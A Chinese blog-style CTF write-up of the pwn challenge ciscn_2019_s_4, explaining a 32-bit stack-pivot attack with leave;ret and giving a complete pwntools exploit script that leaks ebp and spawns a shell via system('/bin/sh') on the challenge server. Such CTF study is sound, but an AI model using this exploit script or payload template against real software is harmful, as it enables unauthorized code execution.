ciscn_2019_s_4-栈迁移

1,三连
在这里插入图片描述程序功能:两次输入
题目类型猜测:栈溢出,栈迁移

2,ida分析
溢出点:
在这里插入图片描述
system_plt地址:
在这里插入图片描述思路:由于无直接getshell的利用函数,溢出空间只有8字节(ebp+ret占用无法继续填充ROP了),所以需要栈迁移更大的空间来构造ROP

栈迁移核心(通过ROPGadget寻找 leave+retn组合):
leave;
等价

mov esp ebp	//利用它执行达成栈迁移
pop ebp			//单纯执行下

作用:负责栈迁移

retn;
等价

pop eip

作用:赋值执行函数调用

在这里插入图片描述

3,
此栈帧迁移到s[40]数组的位置,先通过第一次打印泄露s[40]的起始地址。

payload

from pwn import *
context.log_level="debug"

r=remote('node4.buuoj.cn',26060)

sys_addr=0x8048400
leave_ret=0x080484b8

payload='a'*0x24+'bbbb'
r.recvuntil('name?')
r.send(payload)
r.recvuntil('bbbb')
ebp=u32(r.recv(4).ljust(4,'\x00'))

print 'ebp='+hex(ebp)

buf=ebp-0x38

payload=(p32(sys_addr)+'aaaa'+p32(buf+12)+'/bin/sh\x00').ljust(0x28,'a')+p32(buf-4)+p32(leave_ret)

r.send(payload)
r.interactive()

栈图布局可参考:
https://blog.csdn.net/mcmuyanga/article/details/112462462

总结下栈迁移固定布局套路:
ebp位置:栈迁移位置-4(32位)
ret位置:leave_ret
栈迁移位置:执行函数+0xdeadbeef(假ebp)+0xdeadbeef(假ret)+参数

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值